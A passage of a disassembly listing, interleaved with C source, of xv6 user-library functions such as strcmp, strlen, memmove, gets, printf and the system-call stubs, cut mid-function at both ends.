20a: 74 ec je 1f8 <strcmp+0x18>
20c: 0f b6 db movzbl %bl,%ebx
20f: 0f b6 c0 movzbl %al,%eax
212: 29 d8 sub %ebx,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
}
214: 5b pop %ebx
215: 5d pop %ebp
216: c3 ret
217: 90 nop
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
218: 0f b6 1a movzbl (%edx),%ebx
21b: 31 c0 xor %eax,%eax
21d: 0f b6 db movzbl %bl,%ebx
220: 29 d8 sub %ebx,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
}
222: 5b pop %ebx
223: 5d pop %ebp
224: c3 ret
225: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
229: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000230 <strlen>:
uint
strlen(const char *s)
{
230: 55 push %ebp
int n;
for(n = 0; s[n]; n++)
231: 31 d2 xor %edx,%edx
return (uchar)*p - (uchar)*q;
}
uint
strlen(const char *s)
{
233: 89 e5 mov %esp,%ebp
int n;
for(n = 0; s[n]; n++)
235: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
}
uint
strlen(const char *s)
{
237: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
23a: 80 39 00 cmpb $0x0,(%ecx)
23d: 74 0c je 24b <strlen+0x1b>
23f: 90 nop
240: 83 c2 01 add $0x1,%edx
243: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
247: 89 d0 mov %edx,%eax
249: 75 f5 jne 240 <strlen+0x10>
;
return n;
}
24b: 5d pop %ebp
24c: c3 ret
24d: 8d 76 00 lea 0x0(%esi),%esi
00000250 <memset>:
void*
memset(void *dst, int c, uint n)
{
250: 55 push %ebp
251: 89 e5 mov %esp,%ebp
253: 8b 55 08 mov 0x8(%ebp),%edx
256: 57 push %edi
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
257: 8b 4d 10 mov 0x10(%ebp),%ecx
25a: 8b 45 0c mov 0xc(%ebp),%eax
25d: 89 d7 mov %edx,%edi
25f: fc cld
260: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
262: 89 d0 mov %edx,%eax
264: 5f pop %edi
265: 5d pop %ebp
266: c3 ret
267: 89 f6 mov %esi,%esi
269: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000270 <strchr>:
char*
strchr(const char *s, char c)
{
270: 55 push %ebp
271: 89 e5 mov %esp,%ebp
273: 8b 45 08 mov 0x8(%ebp),%eax
276: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
27a: 0f b6 10 movzbl (%eax),%edx
27d: 84 d2 test %dl,%dl
27f: 75 11 jne 292 <strchr+0x22>
281: eb 15 jmp 298 <strchr+0x28>
283: 90 nop
284: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
288: 83 c0 01 add $0x1,%eax
28b: 0f b6 10 movzbl (%eax),%edx
28e: 84 d2 test %dl,%dl
290: 74 06 je 298 <strchr+0x28>
if(*s == c)
292: 38 ca cmp %cl,%dl
294: 75 f2 jne 288 <strchr+0x18>
return (char*)s;
return 0;
}
296: 5d pop %ebp
297: c3 ret
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
298: 31 c0 xor %eax,%eax
if(*s == c)
return (char*)s;
return 0;
}
29a: 5d pop %ebp
29b: 90 nop
29c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
2a0: c3 ret
2a1: eb 0d jmp 2b0 <atoi>
2a3: 90 nop
2a4: 90 nop
2a5: 90 nop
2a6: 90 nop
2a7: 90 nop
2a8: 90 nop
2a9: 90 nop
2aa: 90 nop
2ab: 90 nop
2ac: 90 nop
2ad: 90 nop
2ae: 90 nop
2af: 90 nop
000002b0 <atoi>:
return r;
}
int
atoi(const char *s)
{
2b0: 55 push %ebp
int n;
n = 0;
while('0' <= *s && *s <= '9')
2b1: 31 c0 xor %eax,%eax
return r;
}
int
atoi(const char *s)
{
2b3: 89 e5 mov %esp,%ebp
2b5: 8b 4d 08 mov 0x8(%ebp),%ecx
2b8: 53 push %ebx
int n;
n = 0;
while('0' <= *s && *s <= '9')
2b9: 0f b6 11 movzbl (%ecx),%edx
2bc: 8d 5a d0 lea -0x30(%edx),%ebx
2bf: 80 fb 09 cmp $0x9,%bl
2c2: 77 1c ja 2e0 <atoi+0x30>
2c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
n = n*10 + *s++ - '0';
2c8: 0f be d2 movsbl %dl,%edx
2cb: 83 c1 01 add $0x1,%ecx
2ce: 8d 04 80 lea (%eax,%eax,4),%eax
2d1: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
2d5: 0f b6 11 movzbl (%ecx),%edx
2d8: 8d 5a d0 lea -0x30(%edx),%ebx
2db: 80 fb 09 cmp $0x9,%bl
2de: 76 e8 jbe 2c8 <atoi+0x18>
n = n*10 + *s++ - '0';
return n;
}
2e0: 5b pop %ebx
2e1: 5d pop %ebp
2e2: c3 ret
2e3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
2e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000002f0 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
2f0: 55 push %ebp
2f1: 89 e5 mov %esp,%ebp
2f3: 56 push %esi
2f4: 8b 45 08 mov 0x8(%ebp),%eax
2f7: 53 push %ebx
2f8: 8b 5d 10 mov 0x10(%ebp),%ebx
2fb: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
2fe: 85 db test %ebx,%ebx
300: 7e 14 jle 316 <memmove+0x26>
n = n*10 + *s++ - '0';
return n;
}
void*
memmove(void *vdst, const void *vsrc, int n)
302: 31 d2 xor %edx,%edx
304: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
*dst++ = *src++;
308: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
30c: 88 0c 10 mov %cl,(%eax,%edx,1)
30f: 83 c2 01 add $0x1,%edx
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
312: 39 da cmp %ebx,%edx
314: 75 f2 jne 308 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
316: 5b pop %ebx
317: 5e pop %esi
318: 5d pop %ebp
319: c3 ret
31a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000320 <stat>:
return buf;
}
int
stat(const char *n, struct stat *st)
{
320: 55 push %ebp
321: 89 e5 mov %esp,%ebp
323: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
326: 8b 45 08 mov 0x8(%ebp),%eax
return buf;
}
int
stat(const char *n, struct stat *st)
{
329: 89 5d f8 mov %ebx,-0x8(%ebp)
32c: 89 75 fc mov %esi,-0x4(%ebp)
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
32f: be ff ff ff ff mov $0xffffffff,%esi
stat(const char *n, struct stat *st)
{
int fd;
int r;
fd = open(n, O_RDONLY);
334: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
33b: 00
33c: 89 04 24 mov %eax,(%esp)
33f: e8 d4 00 00 00 call 418 <open>
if(fd < 0)
344: 85 c0 test %eax,%eax
stat(const char *n, struct stat *st)
{
int fd;
int r;
fd = open(n, O_RDONLY);
346: 89 c3 mov %eax,%ebx
if(fd < 0)
348: 78 19 js 363 <stat+0x43>
return -1;
r = fstat(fd, st);
34a: 8b 45 0c mov 0xc(%ebp),%eax
34d: 89 1c 24 mov %ebx,(%esp)
350: 89 44 24 04 mov %eax,0x4(%esp)
354: e8 d7 00 00 00 call 430 <fstat>
close(fd);
359: 89 1c 24 mov %ebx,(%esp)
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
r = fstat(fd, st);
35c: 89 c6 mov %eax,%esi
close(fd);
35e: e8 9d 00 00 00 call 400 <close>
return r;
}
363: 89 f0 mov %esi,%eax
365: 8b 5d f8 mov -0x8(%ebp),%ebx
368: 8b 75 fc mov -0x4(%ebp),%esi
36b: 89 ec mov %ebp,%esp
36d: 5d pop %ebp
36e: c3 ret
36f: 90 nop
00000370 <gets>:
return 0;
}
char*
gets(char *buf, int max)
{
370: 55 push %ebp
371: 89 e5 mov %esp,%ebp
373: 57 push %edi
374: 56 push %esi
375: 31 f6 xor %esi,%esi
377: 53 push %ebx
378: 83 ec 2c sub $0x2c,%esp
37b: 8b 7d 08 mov 0x8(%ebp),%edi
int i, cc;
char c;
for(i=0; i+1 < max; ){
37e: eb 06 jmp 386 <gets+0x16>
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
380: 3c 0a cmp $0xa,%al
382: 74 39 je 3bd <gets+0x4d>
384: 89 de mov %ebx,%esi
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
386: 8d 5e 01 lea 0x1(%esi),%ebx
389: 3b 5d 0c cmp 0xc(%ebp),%ebx
38c: 7d 31 jge 3bf <gets+0x4f>
cc = read(0, &c, 1);
38e: 8d 45 e7 lea -0x19(%ebp),%eax
391: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
398: 00
399: 89 44 24 04 mov %eax,0x4(%esp)
39d: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3a4: e8 47 00 00 00 call 3f0 <read>
if(cc < 1)
3a9: 85 c0 test %eax,%eax
3ab: 7e 12 jle 3bf <gets+0x4f>
break;
buf[i++] = c;
3ad: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
3b1: 88 44 1f ff mov %al,-0x1(%edi,%ebx,1)
if(c == '\n' || c == '\r')
3b5: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
3b9: 3c 0d cmp $0xd,%al
3bb: 75 c3 jne 380 <gets+0x10>
3bd: 89 de mov %ebx,%esi
break;
}
buf[i] = '\0';
3bf: c6 04 37 00 movb $0x0,(%edi,%esi,1)
return buf;
}
3c3: 89 f8 mov %edi,%eax
3c5: 83 c4 2c add $0x2c,%esp
3c8: 5b pop %ebx
3c9: 5e pop %esi
3ca: 5f pop %edi
3cb: 5d pop %ebp
3cc: c3 ret
3cd: 90 nop
3ce: 90 nop
3cf: 90 nop
000003d0 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
3d0: b8 01 00 00 00 mov $0x1,%eax
3d5: cd 40 int $0x40
3d7: c3 ret
000003d8 <exit>:
SYSCALL(exit)
3d8: b8 02 00 00 00 mov $0x2,%eax
3dd: cd 40 int $0x40
3df: c3 ret
000003e0 <wait>:
SYSCALL(wait)
3e0: b8 03 00 00 00 mov $0x3,%eax
3e5: cd 40 int $0x40
3e7: c3 ret
000003e8 <pipe>:
SYSCALL(pipe)
3e8: b8 04 00 00 00 mov $0x4,%eax
3ed: cd 40 int $0x40
3ef: c3 ret
000003f0 <read>:
SYSCALL(read)
3f0: b8 05 00 00 00 mov $0x5,%eax
3f5: cd 40 int $0x40
3f7: c3 ret
000003f8 <write>:
SYSCALL(write)
3f8: b8 10 00 00 00 mov $0x10,%eax
3fd: cd 40 int $0x40
3ff: c3 ret
00000400 <close>:
SYSCALL(close)
400: b8 15 00 00 00 mov $0x15,%eax
405: cd 40 int $0x40
407: c3 ret
00000408 <kill>:
SYSCALL(kill)
408: b8 06 00 00 00 mov $0x6,%eax
40d: cd 40 int $0x40
40f: c3 ret
00000410 <exec>:
SYSCALL(exec)
410: b8 07 00 00 00 mov $0x7,%eax
415: cd 40 int $0x40
417: c3 ret
00000418 <open>:
SYSCALL(open)
418: b8 0f 00 00 00 mov $0xf,%eax
41d: cd 40 int $0x40
41f: c3 ret
00000420 <mknod>:
SYSCALL(mknod)
420: b8 11 00 00 00 mov $0x11,%eax
425: cd 40 int $0x40
427: c3 ret
00000428 <unlink>:
SYSCALL(unlink)
428: b8 12 00 00 00 mov $0x12,%eax
42d: cd 40 int $0x40
42f: c3 ret
00000430 <fstat>:
SYSCALL(fstat)
430: b8 08 00 00 00 mov $0x8,%eax
435: cd 40 int $0x40
437: c3 ret
00000438 <link>:
SYSCALL(link)
438: b8 13 00 00 00 mov $0x13,%eax
43d: cd 40 int $0x40
43f: c3 ret
00000440 <mkdir>:
SYSCALL(mkdir)
440: b8 14 00 00 00 mov $0x14,%eax
445: cd 40 int $0x40
447: c3 ret
00000448 <chdir>:
SYSCALL(chdir)
448: b8 09 00 00 00 mov $0x9,%eax
44d: cd 40 int $0x40
44f: c3 ret
00000450 <dup>:
SYSCALL(dup)
450: b8 0a 00 00 00 mov $0xa,%eax
455: cd 40 int $0x40
457: c3 ret
00000458 <getpid>:
SYSCALL(getpid)
458: b8 0b 00 00 00 mov $0xb,%eax
45d: cd 40 int $0x40
45f: c3 ret
00000460 <sbrk>:
SYSCALL(sbrk)
460: b8 0c 00 00 00 mov $0xc,%eax
465: cd 40 int $0x40
467: c3 ret
00000468 <sleep>:
SYSCALL(sleep)
468: b8 0d 00 00 00 mov $0xd,%eax
46d: cd 40 int $0x40
46f: c3 ret
00000470 <uptime>:
SYSCALL(uptime)
470: b8 0e 00 00 00 mov $0xe,%eax
475: cd 40 int $0x40
477: c3 ret
478: 90 nop
479: 90 nop
47a: 90 nop
47b: 90 nop
47c: 90 nop
47d: 90 nop
47e: 90 nop
47f: 90 nop
00000480 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
480: 55 push %ebp
481: 89 e5 mov %esp,%ebp
483: 57 push %edi
484: 89 cf mov %ecx,%edi
486: 56 push %esi
487: 89 c6 mov %eax,%esi
489: 53 push %ebx
48a: 83 ec 4c sub $0x4c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
48d: 8b 4d 08 mov 0x8(%ebp),%ecx
490: 85 c9 test %ecx,%ecx
492: 74 04 je 498 <printint+0x18>
494: 85 d2 test %edx,%edx
496: 78 70 js 508 <printint+0x88>
neg = 1;
x = -xx;
} else {
x = xx;
498: 89 d0 mov %edx,%eax
49a: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
4a1: 31 c9 xor %ecx,%ecx
4a3: 8d 5d d7 lea -0x29(%ebp),%ebx
4a6: 66 90 xchg %ax,%ax
}
i = 0;
do{
buf[i++] = digits[x % base];
4a8: 31 d2 xor %edx,%edx
4aa: f7 f7 div %edi
4ac: 0f b6 92 6b 09 00 00 movzbl 0x96b(%edx),%edx
4b3: 88 14 0b mov %dl,(%ebx,%ecx,1)
4b6: 83 c1 01 add $0x1,%ecx
}while((x /= base) != 0);
4b9: 85 c0 test %eax,%eax
4bb: 75 eb jne 4a8 <printint+0x28>
if(neg)
4bd: 8b 45 c4 mov -0x3c(%ebp),%eax
4c0: 85 c0 test %eax,%eax
4c2: 74 08 je 4cc <printint+0x4c>
buf[i++] = '-';
4c4: c6 44 0d d7 2d movb $0x2d,-0x29(%ebp,%ecx,1)
4c9: 83 c1 01 add $0x1,%ecx
while(--i >= 0)
4cc: 8d 79 ff lea -0x1(%ecx),%edi
4cf: 01 fb add %edi,%ebx
4d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
4d8: 0f b6 03 movzbl (%ebx),%eax
4db: 83 ef 01 sub $0x1,%edi
4de: 83 eb 01 sub $0x1,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
4e1: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
4e8: 00
4e9: 89 34 24 mov %esi,(%esp)
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
4ec: 88 45 e7 mov %al,-0x19(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
4ef: 8d 45 e7 lea -0x19(%ebp),%eax
4f2: 89 44 24 04 mov %eax,0x4(%esp)
4f6: e8 fd fe ff ff call 3f8 <write>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
4fb: 83 ff ff cmp $0xffffffff,%edi
4fe: 75 d8 jne 4d8 <printint+0x58>
putc(fd, buf[i]);
}
500: 83 c4 4c add $0x4c,%esp
503: 5b pop %ebx
504: 5e pop %esi
505: 5f pop %edi
506: 5d pop %ebp
507: c3 ret
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
508: 89 d0 mov %edx,%eax
50a: f7 d8 neg %eax
50c: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
513: eb 8c jmp 4a1 <printint+0x21>
515: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
519: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000520 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
520: 55 push %ebp
521: 89 e5 mov %esp,%ebp
523: 57 push %edi
524: 56 push %esi
525: 53 push %ebx
526: 83 ec 3c sub $0x3c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
529: 8b 45 0c mov 0xc(%ebp),%eax
52c: 0f b6 10 movzbl (%eax),%edx
52f: 84 d2 test %dl,%dl
531: 0f 84 c9 00 00 00 je 600 <printf+0xe0>
char *s;
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
537: 8d 4d 10 lea 0x10(%ebp),%ecx
53a: 31 ff xor %edi,%edi
53c: 89 4d d4 mov %ecx,-0x2c(%ebp)
53f: 31 db xor %ebx,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
541: 8d 75 e7 lea -0x19(%ebp),%esi
544: eb 1e jmp 564 <printf+0x44>
546: 66 90 xchg %ax,%ax
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
548: 83 fa 25 cmp $0x25,%edx
54b: 0f 85 b7 00 00 00 jne 608 <printf+0xe8>
551: 66 bf 25 00 mov $0x25,%di
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
555: 83 c3 01 add $0x1,%ebx
558: 0f b6 14 18 movzbl (%eax,%ebx,1),%edx
55c: 84 d2 test %dl,%dl
55e: 0f 84 9c 00 00 00 je 600 <printf+0xe0>
c = fmt[i] & 0xff;
if(state == 0){
564: 85 ff test %edi,%edi
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
566: 0f b6 d2 movzbl %dl,%edx
if(state == 0){
569: 74 dd je 548 <printf+0x28>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
56b: 83 ff 25 cmp $0x25,%edi
56e: 75 e5 jne 555 <printf+0x35>
if(c == 'd'){
570: 83 fa 64 cmp $0x64,%edx
573: 0f 84 47 01 00 00 je 6c0 <printf+0x1a0>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
579: 83 fa 70 cmp $0x70,%edx
57c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
580: 0f 84 aa 00 00 00 je 630 <printf+0x110>
586: 83 fa 78 cmp $0x78,%edx
589: 0f 84 a1 00 00 00 je 630 <printf+0x110>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
58f: 83 fa 73 cmp $0x73,%edx
592: 0f 84 c0 00 00 00 je 658 <printf+0x138>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
598: 83 fa 63 cmp $0x63,%edx
59b: 90 nop
59c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
5a0: 0f 84 42 01 00 00 je 6e8 <printf+0x1c8>
putc(fd, *ap);
ap++;
} else if(c == '%'){
5a6: 83 fa 25 cmp $0x25,%edx
5a9: 0f 84 01 01 00 00 je 6b0 <printf+0x190>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
5af: 8b 4d 08 mov 0x8(%ebp),%ecx
5b2: 89 55 cc mov %edx,-0x34(%ebp)
5b5: c6 45 e7 25 movb $0x25,-0x19(%ebp)
5b9: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
5c0: 00
5c1: 89 74 24 04 mov %esi,0x4(%esp)
5c5: 89 0c 24 mov %ecx,(%esp)
5c8: e8 2b fe ff ff call 3f8 <write>
5cd: 8b 55 cc mov -0x34(%ebp),%edx
5d0: 88 55 e7 mov %dl,-0x19(%ebp)
5d3: 8b 45 08 mov 0x8(%ebp),%eax
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
5d6: 83 c3 01 add $0x1,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
5d9: 31 ff xor %edi,%edi
5db: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
5e2: 00
5e3: 89 74 24 04 mov %esi,0x4(%esp)
5e7: 89 04 24 mov %eax,(%esp)
5ea: e8 09 fe ff ff call 3f8 <write>
5ef: 8b 45 0c mov 0xc(%ebp),%eax
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
5f2: 0f b6 14 18 movzbl (%eax,%ebx,1),%edx
5f6: 84 d2 test %dl,%dl
5f8: 0f 85 66 ff ff ff jne 564 <printf+0x44>
5fe: 66 90 xchg %ax,%ax
putc(fd, c);
}
state = 0;
}
}
}
600: 83 c4 3c add $0x3c,%esp
603: 5b pop %ebx
604: 5e pop %esi
605: 5f pop %edi
606: 5d pop %ebp
607: c3 ret
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
608: 8b 45 08 mov 0x8(%ebp),%eax
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
60b: 88 55 e7 mov %dl,-0x19(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
60e: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
615: 00
616: 89 74 24 04 mov %esi,0x4(%esp)
61a: 89 04 24 mov %eax,(%esp)
61d: e8 d6 fd ff ff call 3f8 <write>
622: 8b 45 0c mov 0xc(%ebp),%eax
625: e9 2b ff ff ff jmp 555 <printf+0x35>
62a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
630: 8b 45 d4 mov -0x2c(%ebp),%eax
633: b9 10 00 00 00 mov $0x10,%ecx
ap++;
638: 31 ff xor %edi,%edi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
63a: c7 04 24 00 00 00 00 movl $0x0,(%esp)
641: 8b 10 mov (%eax),%edx
643: 8b 45 08 mov 0x8(%ebp),%eax
646: e8 35 fe ff ff call 480 <printint>
64b: 8b 45 0c mov 0xc(%ebp),%eax
ap++;
64e: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
652: e9 fe fe ff ff jmp 555 <printf+0x35>
657: 90 nop
} else if(c == 's'){
s = (char*)*ap;
658: 8b 55 d4 mov -0x2c(%ebp),%edx
ap++;
if(s == 0)
65b: b9 64 09 00 00 mov $0x964,%ecx
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
s = (char*)*ap;
660: 8b 3a mov (%edx),%edi
ap++;
662: 83 c2 04 add $0x4,%edx
665: 89 55 d4 mov %edx,-0x2c(%ebp)
if(s == 0)
668: 85 ff test %edi,%edi
66a: 0f 44 f9 cmove %ecx,%edi
s = "(null)";
while(*s != 0){
66d: 0f b6 17 movzbl (%edi),%edx
670: 84 d2 test %dl,%dl
672: 74 33 je 6a7 <printf+0x187>
674: 89 5d d0 mov %ebx,-0x30(%ebp)
677: 8b 5d 08 mov 0x8(%ebp),%ebx
67a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
putc(fd, *s);
s++;
680: 83 c7 01 add $0x1,%edi
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
683: 88 55 e7 mov %dl,-0x19(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
686: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
68d: 00
68e: 89 74 24 04 mov %esi,0x4(%esp)
692: 89 1c 24 mov %ebx,(%esp)
695: e8 5e fd ff ff call 3f8 <write>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
69a: 0f b6 17 movzbl (%edi),%edx
69d: 84 d2 test %dl,%dl
69f: 75 df jne 680 <printf+0x160>
6a1: 8b 5d d0 mov -0x30(%ebp),%ebx
6a4: 8b 45 0c mov 0xc(%ebp),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
6a7: 31 ff xor %edi,%edi
6a9: e9 a7 fe ff ff jmp 555 <printf+0x35>
6ae: 66 90 xchg %ax,%ax
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
ap++;
} else if(c == '%'){
6b0: c6 45 e7 25 movb $0x25,-0x19(%ebp)
6b4: e9 1a ff ff ff jmp 5d3 <printf+0xb3>
6b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
6c0: 8b 45 d4 mov -0x2c(%ebp),%eax
6c3: b9 0a 00 00 00 mov $0xa,%ecx
ap++;
6c8: 66 31 ff xor %di,%di
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
6cb: c7 04 24 01 00 00 00 movl $0x1,(%esp)
6d2: 8b 10 mov (%eax),%edx
6d4: 8b 45 08 mov 0x8(%ebp),%eax
6d7: e8 a4 fd ff ff call 480 <printint>
6dc: 8b 45 0c mov 0xc(%ebp),%eax
ap++;
6df: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
6e3: e9 6d fe ff ff jmp 555 <printf+0x35>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
6e8: 8b 55 d4 mov -0x2c(%ebp),%edx
putc(fd, *ap);
ap++;
6eb: 31 ff xor %edi,%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
6ed: 8b 4d 08 mov 0x8(%ebp),%ecx
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
6f0: 8b 02 mov (%edx),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
6f2: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
6f9: 00
6fa: 89 74 24 04 mov %esi,0x4(%esp)
6fe: 89 0c 24 mov %ecx,(%esp)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
701: 88 45 e7 mov %al,-0x19(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
704: e8 ef fc ff ff call 3f8 <write>
709: 8b 45 0c mov 0xc(%ebp),%eax
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
ap++;
70c: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
710: e9 40 fe ff ff jmp 555 <printf+0x35>
715: 90 nop
716: 90 nop
717: 90 nop
718: 90 nop
719: 90 nop
71a: 90 nop
71b: 90 nop
71c: 90 nop
71d: 90 nop
71e: 90 nop
71f: 90 nop
00000720 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
720: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
721: a1 84 09 00 00 mov 0x984,%eax
static Header base;
static Header *freep;
void
free(void *ap)
{
726: 89 e5 mov %esp,%ebp
728: 57 push %edi
729: 56 push %esi
72a: 53 push %ebx
72b: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
72e: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
731: 39 c8 cmp %ecx,%eax
733: 73 1d jae 752 <free+0x32>
735: 8d 76 00 lea 0x0(%esi),%esi
738: 8b 10 mov (%eax),%edx
73a: 39 d1 cmp %edx,%ecx
73c: 72 1a jb 758 <free+0x38>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
73e: 39 d0 cmp %edx,%eax
740: 72 08 jb 74a <free+0x2a>
742: 39 c8 cmp %ecx,%eax
744: 72 12 jb 758 <free+0x38>
746: 39 d1 cmp %edx,%ecx
748: 72 0e jb 758 <free+0x38>
74a: 89 d0 mov %edx,%eax
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
74c: 39 c8 cmp %ecx,%eax
74e: 66 90 xchg %ax,%ax
750: 72 e6 jb 738 <free+0x18>
752: 8b 10 mov (%eax),%edx
